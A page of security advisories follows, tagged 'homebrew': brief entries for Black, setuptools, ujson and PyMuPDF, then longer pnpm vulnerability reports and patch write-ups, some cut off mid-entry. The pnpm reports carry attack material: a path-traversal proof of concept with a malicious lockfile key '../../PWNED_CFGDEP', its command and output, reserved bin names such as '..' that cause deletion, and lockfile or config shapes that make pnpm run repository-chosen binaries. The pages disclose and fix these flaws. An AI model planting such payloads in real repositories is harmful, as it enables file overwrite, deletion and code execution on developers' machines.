Threats tagged 'homebrew'

Black, a code formatting tool, had a vulnerability where the cache file name was constructed using the unsanitized value of the --python-cell-magics option. This allowed an attacker controlling this option to write cache files to arbitrary file system locations. The issue is fixed in Black version 26.3.1.

A Unicode normalization mismatch in setuptools' handling of MANIFEST.in exclusions can cause files intended to be excluded from source distributions to be included instead. This occurs on macOS APFS/HFS+ filesystems where filenames are stored in NFD form but MANIFEST.in patterns are typically written in NFC form, causing byte-level matching to fail. As a result, sensitive files with non-ASCII names may be unintentionally published to PyPI. This issue affects setuptools versions before 1.19.1_1 and has a fix available in 1.19.1_1.

A path traversal vulnerability in setuptools' PackageIndex.download method allows an attacker to write files to arbitrary filesystem locations. This occurs because the filename derived from a URL is insufficiently sanitized, enabling traversal outside the intended temporary directory. The issue was fixed in setuptools version 1.18.1_1. Exploitation could lead to arbitrary file write with the permissions of the running process, potentially escalating to remote code execution depending on context.

CVE-2024-6345 is a high-severity vulnerability in the package_index module of pypa/setuptools up to version 69.1.1. It allows remote code execution via command injection through download functions that handle package URLs. This flaw can be exploited if these functions process user-controlled URLs, leading to arbitrary command execution on the affected system. The issue is fixed in setuptools version 70.0 and pyqt-builder versions 1.16.3 and later.

A memory leak vulnerability exists in the UltraJSON (ujson) library versions 5.4.0 through 5.11.0 when parsing large integers outside the range [-2^63, 2^64 - 1]. This flaw can be triggered by any service using ujson to parse untrusted JSON inputs, potentially leading to denial of service (DoS). The leak involves accumulating copies of the string representation of large integers plus a null byte, regardless of whether parsing succeeds or fails. The issue is fixed in ujson version 5.12.0. No workarounds other than upgrading are available.

CVE-2026-32875 is a vulnerability in the UltraJSON (ujson) library used by python-lsp-server where integer overflow or underflow in handling the 'indent' parameter during JSON serialization can cause a segmentation fault (crash) or an infinite loop. This occurs when the product of the indent value and the nested depth exceeds the 32-bit integer limit or when a large negative indent is used. The issue can lead to denial of service. The vulnerability affects python-lsp-server versions >=1.6.0 and <1.14.0_1. A patch is available in ujson 5.12.0 that fixes the overflow and caps the indent value.

PyMuPDF versions prior to 1.28.2 contain a path traversal and arbitrary file write vulnerability in the embedded get function within the _main_.py file. This flaw allows an attacker with local access to write files to arbitrary locations. The vulnerability has a CVSS 4.0 score of 6.9, indicating a medium severity. A fix is available in version 1.28.2.

## Summary The hoisted dependency alias issue tracked as GHSA-fr4h-3cph-29xv / CAND-PNPM-059 has been addressed in both pnpm and pacquet. A crafted lockfile alias could be joined directly under a hoisted `node_modules` directory. Traversal aliases could escape that directory, while reserved aliases such as `.bin` or `.pnpm` could overwrite pnpm-owned layout. This patch validates package-name semantics and path containment before graph insertion or filesystem work. ## Security boundary - The TypeScript hoisted graph uses the shared safe join helper at the actual `dep.name` sink. - The helper rejects traversal, absolute, platform-specific, and reserved package names. - Pacquet validates the hoister's `dep.0.name` before adding the graph node or recursing. - Both implementations return `ERR_PNPM_INVALID_DEPENDENCY_NAME`. - Pacquet uses the same dependency-name containment rule at its hoisted graph sink as it uses for direct dependency aliases. ## Exploit replay Before the patch, a traversal alias in a hoisted lockfile imported package files outside the intended install root. With this patch, both pnpm and pacquet reject the alias before graph insertion or filesystem work, and the escaped file is not created. ## Files changed - `fs/symlink-dependency/src/safeJoinModulesDir.ts` provides the TypeScript containment helper. - `installing/deps-restorer/src/lockfileToHoistedDepGraph.ts` validates the parsed dependency name at the hoisted graph sink. - `pacquet/crates/package-manager/src/{hoisted_dep_graph.rs,safe_join_modules_dir.rs}` mirrors that boundary in Rust. - TypeScript and Rust tests cover traversal, reserved aliases, and valid scoped names. ## Commands run ```text $ pnpm --filter @pnpm/fs.symlink-dependency test PASS: 24 tests $ pnpm --filter @pnpm/installing.deps-restorer test test/index.ts PASS: exploit regression and positive install control $ cargo test --locked -p pacquet-package-manager --lib PASS: 426 tests $ cargo fmt --all -- --check PASS ``` ## Validation - TypeScript symlink helper: 24 passed. - TypeScript exploit regression: 1 passed. - TypeScript positive hoisted-install control: 1 passed. - Targeted strict TypeScript compiles: passed. - Targeted ESLint: zero errors. - Pacquet helper tests: 3 passed. - Full pacquet package-manager library suite: 426 passed. - `cargo fmt`, parsed two-document lockfile validation, and `git diff --check`: passed. ## Patch Ready-for-review private PR: https://github.com/pnpm/pnpm-ghsa-fr4h-3cph-29xv/pull/1 GitHub reports the branch as mergeable and has requested review from `zkochan`. GitHub intentionally does not run status checks on temporary private-fork PRs; the commands and outcomes above are the recorded local validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability ## Compatibility Valid unscoped and scoped package aliases continue to work. The changeset covers `@pnpm/fs.symlink-dependency`, `@pnpm/installing.deps-restorer`, and `pnpm`; pacquet is updated in the same commit for CLI parity. --- Written by an agent (Codex, GPT-5).

## Summary `pnpm` accepts package names from the env lockfile `configDependencies` section and uses those names directly when creating config dependency symlinks under `node_modules/.pnpm-config`. A malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as `../../PWNED_CFGDEP`. During `pnpm install`, pnpm installs the config dependency and creates a symlink at a path derived from that name. In local testing against pnpm `v11.5.1`, this caused pnpm to create a symlink outside the intended config dependency directory: ```text expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config actual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP ``` This works with `--ignore-scripts`, so it does not rely on lifecycle script execution. ## Vulnerable behavior The vulnerable behavior appears to be that `configDependencies` keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components. The relevant pattern is: ```ts const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config') for (const [pkgName, pkg] of Object.entries(normalizedDeps)) { const configDepPath = path.join(configModulesDir, pkgName) const pkgDirInGlobalVirtualStore = path.join( globalVirtualStoreDir, relPath, 'node_modules', pkgName ) await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath) } ``` If `pkgName` is attacker-controlled and contains `..`, then `path.join(configModulesDir, pkgName)` can resolve outside `node_modules/.pnpm-config`. ## Impact A malicious project can cause pnpm to create symlinks outside the intended `node_modules/.pnpm-config` directory during install. This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior. The issue is especially relevant because: * The malicious input is committed in `pnpm-lock.yaml`. * The issue is triggered during `pnpm install`. * It works with `--ignore-scripts`. * It occurs in the config dependency installation path, before ordinary dependency installation. * The user only needs to install a malicious or compromised repository. ## Local proof of concept The following local-only PoC creates a temporary project, starts a local fake registry on `127.0.0.1`, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside `node_modules/.pnpm-config`. Command used: ```bash python3 ../pnpm_configdeps_path_traversal_poc.py \ --pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \ --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log ``` Observed output: ```text [+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim [+] Local registry: http://127.0.0.1:36545/ [+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store [+] Malicious name: '../../PWNED_CFGDEP' [+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config [+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP [+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml [+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/ ``` pnpm output: ```text Installing config dependencies... Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0 Already up to date Done in 906ms using pnpm v11.5.1 ``` The PoC then detected the escaped symlink: ```text [+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP [VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP ``` ## Malicious lockfile structure The malicious input is an env-lockfile `configDependencies` key containing traversal components: ```yaml importers: .: configDependencies: legit-config-dep: specifier: '1.0.0' version: '1.0.0' '../../PWNED_CFGDEP': specifier: '1.0.0' version: '1.0.0' ``` pnpm accepts the traversal-shaped name and reports it as installed: ```text Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0 ``` ## Security boundary violation The intended config dependency root was: ```text /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config ``` But pnpm created: ```text /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP ``` This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked. ## Suggested remediation Validate every `

## Summary The `patch-remove` deletion-scope issue tracked as GHSA-72r4-9c5j-mj57 / CAND-PNPM-030 has been addressed in pnpm. A crafted patch entry could resolve outside the configured patches directory and cause `pnpm patch-remove` to delete an arbitrary reachable file. This patch validates the configured directory and every resolved target before unlinking anything, then deletes the final directory entry without following it. ## Security boundary - Traversal and absolute paths that resolve outside the configured patches directory are rejected before deletion. - Parent directories are canonicalized before deletion, including the case where a nested symlink points outside and the final outside entry is itself dangling. - The complete batch is validated before any file is removed. - Component-aware predicates accept valid names beginning with `..` while still rejecting parent traversal, Windows drive escapes, and UNC escapes. - Valid files and symlinked patch directories whose canonical targets remain below the lockfile directory continue to work. - A final symlink inside a valid patch directory is unlinked without following its target, including when the target is outside or dangling. ## Exploit replay Before the patch, a workspace `patchedDependencies` path that resolved outside the project caused `pnpm patch-remove` to delete the external sentinel. A second replay used a nested parent symlink and a dangling outside victim: `realpath()` returned `ENOENT`, yet the victim was still removed. With this patch, both paths are rejected and the outside entries remain intact. ## Files changed - `patching/commands/src/isSubdirectory.ts` performs component-aware containment checks. - `patching/commands/src/patchRemove.ts` validates the full batch, canonicalizes parents, and unlinks final entries without following them. - `patching/commands/test/{isSubdirectory,patchRemove}.test.ts` covers traversal, nested symlinks, dangling victims, and valid removals. ## Commands run ```text $ pnpm --filter @pnpm/patching.commands test test/isSubdirectory.test.ts test/patchRemove.test.ts PASS: 11 tests across 2 suites $ pnpm --filter @pnpm/patching.commands run compile PASS $ git diff --check PASS ``` ## Validation - Focused handler and path-predicate suites: 11 passed across 2 suites. - Package-wide ESLint: passed. - Package TypeScript build: passed. - Commit hooks, Commitlint, and `git diff --check`: passed. - The broader integration harness was environment-blocked because it writes outside the available temporary root; focused handler tests used `/private/tmp`. ## Patches `10.34.4`: https://github.com/pnpm/pnpm/commit/352ae489f1b14ffdc19d2c6eacb1b06b098c2ddc `11.7.0`: https://github.com/pnpm/pnpm/commit/612a2e6a7333f2b061f452a21b6e62c1c161747f ## Compatibility Missing patch files remain no-ops. Valid symlinked patch directories continue to work when their canonical target stays inside the lockfile directory, and final symlinks are removed without touching their targets. `patch-remove` is not yet in pacquet's command surface, so no Rust-side parity change is required. ## Remaining risk Portable Node APIs do not expose directory-fd-relative `unlinkat()`. A local attacker who can replace an already validated parent directory before the unlink may still win a time-of-check/time-of-use race. The reproduced repository-controlled traversal and symlink paths do not require that concurrent capability and are blocked by this patch. --- Written by an agent (Codex, GPT-5).

<details> <summary>Maintainer Action Plan</summary> ## Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-085` / `GHSA-4gxm-v5v7-fqc4` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4 - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `appendix` - Component: `pnpm global add/remove bin cleanup` - Patch area: bin name/path segment validation - Affected packages: `npm:pnpm` - CWE IDs: `CWE-22`, `CWE-73` - Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ### Expected Patched Behavior Reserved, dot, and path-segment bin names are rejected or ignored; global remove leaves `PNPM_HOME` and the sentinel file intact. ### Files And Tests To Review - `bins/resolver/src/index.ts` - `bins/resolver/test/index.ts` - `global/commands/test/globalRemove.test.ts` - `pacquet/crates/cmd-shim/src/bin_resolver.rs` - `pacquet/crates/cmd-shim/src/bin_resolver/tests.rs` - `.changeset/strange-bin-segments.md` ### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. - Use the private PR checks plus the patched replay coverage matrix for this candidate. The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-085-patched-result.json`. <!-- maintainer-action:end --> ## Title Reserved manifest bin names can make global package operations delete outside the global bin directory </details> ## Description ### Summary Manifest `bin` object keys such as `""`, `"."`, and `".."` passed pnpm's bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass `path.join(globalBinDir, binName)` to `removeBin`. For `"."` this targets the global bin directory; for `".."` this targets its parent. ### Details The vulnerable dataflow was: - `bins/resolver/src/index.ts` converted manifest `bin` object keys to `binName` and only required URL-safe text or `$`. Empty, dot, dot-dot, and scoped forms such as `@scope/..` were not rejected after scope stripping. - `global/packages/src/scanGlobalPackages.ts` scanned installed global package manifests and returned manifest-derived `bin.name` values. - `global/commands/src/globalRemove.ts`, `global/commands/src/globalUpdate.ts`, and global add replacement logic joined those names to `globalBinDir`. - `bins/remover/src/removeBins.ts` recursively removed the resulting path. Install-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations. ### PoC Run: The script first performs a safe prepatch simulation in a temporary directory: ```text prepatch_reserved_bin_name=.. prepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home prepatch_deleted_global_bin_parent=true ``` It then validates the patched implementation: ```bash ./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json ./node_modules/.bin/tsgo --build global/commands/tsconfig.json ./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts cd bins/resolver NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts --runInBand cd global/commands NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml ``` The patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only `path.join(globalBinDir, "good")`. ### Impact Direct confidentiality impact was not validated for this primitive; the sink is deletion/corruption,

<!-- maintainer-action:start --> ## Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-063` / `GHSA-w466-c33r-3gjp` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm packageManager env lockfile` - Patch area: package-manager env lockfile is re-resolved through trusted registries before execution - Affected packages: `npm:pnpm`, `npm:@pnpm/installing.env-installer` - CWE IDs: `CWE-829`, `CWE-494`, `CWE-345` - Conservative CVSS: `8.8` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ### Expected Patched Behavior Committed env-lockfile package-manager entries are force-refreshed through trusted registries before execution; attacker tarball requests and markers stay at zero. ### Files And Tests To Review - `installing/env-installer/src/resolvePackageManagerIntegrities.ts` - `pnpm/src/switchCliVersion.ts` - `pnpm/src/switchCliVersion.test.ts` - `.changeset/clean-package-manager-registries.md` ### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand ./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts git diff --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-063-patched-result.json`. <!-- maintainer-action:end --> ### Summary pnpm can persist package-manager bootstrap metadata in the first YAML document of `pnpm-lock.yaml`. Before the patch, direct pnpm execution trusted an already resolved `packageManagerDependencies` entry when the committed env lockfile contained matching `pnpm` and `@pnpm/exe` versions. A malicious repository could therefore commit package-manager lockfile package records and snapshots that bypassed fresh package-manager resolution, then cause pnpm to install and execute bytes selected by that committed lockfile state during automatic version switching. ### Details The vulnerable source-to-sink path was: - `lockfile/fs/src/envLockfile.ts` reads the repository's first YAML lockfile document and validates shape only. - `pnpm/src/main.ts` reaches `switchCliVersion()` when a direct pnpm invocation sees a wanted `pnpm` package manager with `onFail=download`. - `pnpm/src/switchCliVersion.ts` reads the committed env lockfile when package-manager metadata should be persisted. - `installing/env-installer/src/resolvePackageManagerIntegrities.ts` treated `packageManagerDependencies` as resolved when only the `pnpm` and `@pnpm/exe` versions matched. - `engine/pm/commands/src/self-updater/installPnpm.ts` converts env-lockfile `snapshots` and `packages` into the wanted lockfile used by `headlessInstall()`. - `pnpm/src/switchCliVersion.ts` executes the installed `pnpm` binary with `spawn.sync()`. The helper fast path is intentionally still version-based for non-execution callers, so the security boundary is enforced at the execution path: `switchCliVersion()` now re-resolves already present package-manager env-lockfile entries before they can reach `installPnpmToStore()` and `spawn.sync()`. ### PoC Standalone PoC and verification script: The PoC constructs a committed env-lockfile object with matching package-manager dependency versions and attacker-selected package metadata: ```json { "importers": { ".": { "configDependencies": {}, "packageManagerDependencies": { "@pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" }, "pnpm": { "specifier": "9.3.0", "version": "9.3.0" } } } }, "lockfileVersion": "9.0", "packages": { "/pnpm@9.3.

<!-- maintainer-action:start --> ## Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-097` / `GHSA-gj8w-mvpf-x27x` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm configDependencies / pacquet delegation` - Patch area: pacquet/configDependency lifecycle execution is not used as install engine without trust - Affected packages: `npm:pnpm`, `npm:@pnpm/config.reader`, `npm:@pnpm/installing.commands` - CWE IDs: `CWE-829`, `CWE-78`, `CWE-494` - Conservative CVSS: `7.5` / `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ### Expected Patched Behavior config-dependency pacquet install engines are not selected unless the trusted allowlist is set outside the repository; the marker file is not created. ### Files And Tests To Review - `config/reader/src/Config.ts` - `config/reader/src/types.ts` - `config/reader/src/configFileKey.ts` - `config/reader/src/index.ts` - `config/reader/test/index.ts` - `installing/commands/src/installDeps.ts` - `installing/commands/test/runPacquet.ts` - `pnpm/test/install/pacquet.ts` - `.changeset/lucky-config-plugin-pnpmfiles.md` ### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json ./node_modules/.bin/tsgo --build installing/commands/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand ./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts git diff --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-097-patched-result.json`. <!-- maintainer-action:end --> ### Summary pnpm can install `configDependencies` declared in `pnpm-workspace.yaml` before command dispatch. Before the patch, a repository could declare `pacquet` or `@pnpm/pacquet` as a config dependency and pnpm treated that repository-controlled dependency as an install-engine opt-in. During install, pnpm resolved a platform-specific `@pacquet/<platform>-<arch>/pacquet` binary from `node_modules/.pnpm-config/<packageName>` and spawned it as the developer or CI user. ### Details The vulnerable source-to-sink path was: - `config/reader/src/getOptionsFromRootManifest.ts` copies repository `pnpm-workspace.yaml` `configDependencies` into config. - `pnpm/src/getConfig.ts` installs config dependencies before command dispatch. - `installing/env-installer/src/resolveAndInstallConfigDeps.ts` resolves the repository-declared dependency and its optional platform subdependencies. - `installing/env-installer/src/installConfigDeps.ts` fetches, imports, and symlinks the config dependency tree under `node_modules/.pnpm-config`. - `installing/commands/src/installDeps.ts` selected pacquet delegation whenever `configDependencies` contained `pacquet` or `@pnpm/pacquet`. - `installing/deps-installer/src/install/index.ts` called `opts.runPacquet` from frozen and materialization paths. - `installing/commands/src/runPacquet.ts` resolved `@pacquet/${process.platform}-${process.arch}/pacquet` from the installed config dependency package and executed it with `spawn()`. Exact-version, integrity, and platform filters only proved which bytes package resolution selected; they did not establish that the repository was trusted to choose a native install engine. ### PoC Standalone PoC and verification script: Repository fixture: ```yaml packages: - . configDependencies: pacquet: 0.2.2 ``` Registry package shape: ```json { "name": "pacquet", "version": "0.2.2", "optionalDependencies": { "@pacquet/darwin-arm64": "0.2.2" } } ``` Platfo

## Summary Keep build approval for opaque dependency sources byte-exact for GHSA-5wx6-mg75-v57r / CAND-PNPM-123. Merged upstream commit `bf1b731ee6` fixed the original name-only approval bypass by making build policy consume the resolved dependency identity. One collision remained: the generic peer-suffix normalizer also stripped parenthesized text from git, URL, tarball, file, and other opaque locators. Approval for one source string could therefore authorize a different attacker-controlled source whose locator normalized to the same value. ## Security boundary - Registry dependency identities still normalize legitimate peer suffixes and retain patch hashes. - Git, URL, tarball, file, directory, and otherwise opaque identities must match the complete resolved locator byte for byte. - Explicit denials use the same normalization as approvals. - Ignored-build output preserves the exact opaque identity, so the key pnpm asks a user to approve is the key policy later checks. - TypeScript pnpm and pacquet implement the same distinction between registry and opaque identities. ## Exploit replay - With `allowBuilds` approving `foo@https://host/pkg.tgz`, the upstream implementation also accepted `foo@https://host/pkg.tgz(evil)` because both passed through peer-suffix removal. - An independent review found a second Rust-only form: `foo@https://host/pkg@1.0.0(good)` and `foo@https://host/pkg@1.0.0(evil)` collided because the parser selected the final `@` and misclassified the opaque URL as a registry package. - A final review found the same parser hazard in source-only locators ending in a semver-looking tail: approval for `https://host/pkg@1.0.0` could collapse `https://host/pkg@1.0.0(evil)`. - The final patch rejects all three collision forms, applies the same exactness to deny rules, accepts exact opaque keys as positive controls, and continues to accept registry packages approved without their peer suffixes. ## Files changed - `building/policy/src/index.ts` and `building/policy/test/index.ts` normalize only parsed registry identities and retain exact opaque keys. - `pacquet/crates/package-manager/src/build_modules.rs` passes snapshot identities to policy, matches TypeScript package-separator parsing, and preserves opaque locators. - `pacquet/crates/package-manager/src/build_modules/tests.rs` covers exact approval and denial, all three collision forms, ignored-build output, and registry peer compatibility. - `.changeset/quiet-opaque-build-identities.md` records patch releases for `@pnpm/building.policy` and `pnpm`. ## Commands run ```text $ jest building/policy/test/index.ts --runInBand 16 passed $ cargo test -p pacquet-package-manager build_modules::tests -- --nocapture 49 passed $ cargo fmt --all -- --check PASS $ git diff --check 84bb4b1a046f3a659de1c9aab1d45dcf814124ce...HEAD PASS ``` ## Validation - The TypeScript policy suite passed all 16 tests. - The final pacquet build-policy suite passed all 49 tests. - The new Rust regression reproduced the extra-`@` collision before the additive fix and passed afterward. - Exact opaque approval and denial, source-only semver-tail collision rejection, registry peer normalization, and ignored-build reporting all have paired tests. - ESLint passed on the changed TypeScript source and test files. - Rust formatting and diff checks passed; the branch is clean and consists of three focused security commits plus additive merges of upstream through `84bb4b1a046f3a659de1c9aab1d45dcf814124ce`. - The focused TypeScript suite and ESLint ran directly through the installed harness. The isolated project build cannot resolve workspace packages without a local install, and the configured registry gateway returns HTTP 403 while fetching `@pnpm/pacquet@0.11.2`; no candidate-focused test failed. ## Patches `10.34.2`: https://github.com/pnpm/pnpm/commit/14bceb1e0b2a71f4f670774db261feb03f38ec23 `11.5.3`: https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8 ## Compatibility Registry package approvals keep their existing form. Opaque dependencies that were approved through a normalized parenthesized variant must now use the exact key shown in pnpm's ignored-build output. This is the intended trust-boundary change; no package-resolution or artifact format changes. ## CI note GitHub intentionally does not run status checks on temporary private-fork pull requests. The complete policy suites, formatting, and diff checks above are the applicable validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability --- Written by an agent (Codex, GPT-5).

<!-- maintainer-action:start --> ## Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-122` / `GHSA-3qhv-2rgh-x77r` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm config/env replacement and registry auth` - Patch area: project .npmrc env placeholders are not expanded into registry/auth destinations - Affected packages: `npm:pnpm`, `npm:@pnpm/config.reader`, `rust:pacquet` - CWE IDs: `CWE-201`, `CWE-200`, `CWE-522` - Conservative CVSS: `6.5` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ### Expected Patched Behavior Project `.npmrc` environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header. ### Files And Tests To Review - `config/reader/src/loadNpmrcFiles.ts` - `config/reader/src/getOptionsFromRootManifest.ts` - `config/reader/test/index.ts` - `config/reader/test/getOptionsFromRootManifest.test.ts` - `pacquet/crates/config/src/npmrc_auth.rs` - `pacquet/crates/config/src/npmrc_auth/tests.rs` - `pacquet/crates/config/src/workspace_yaml.rs` - `pacquet/crates/config/src/workspace_yaml/tests.rs` - `.changeset/sharp-registry-env-placeholders.md` ### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts 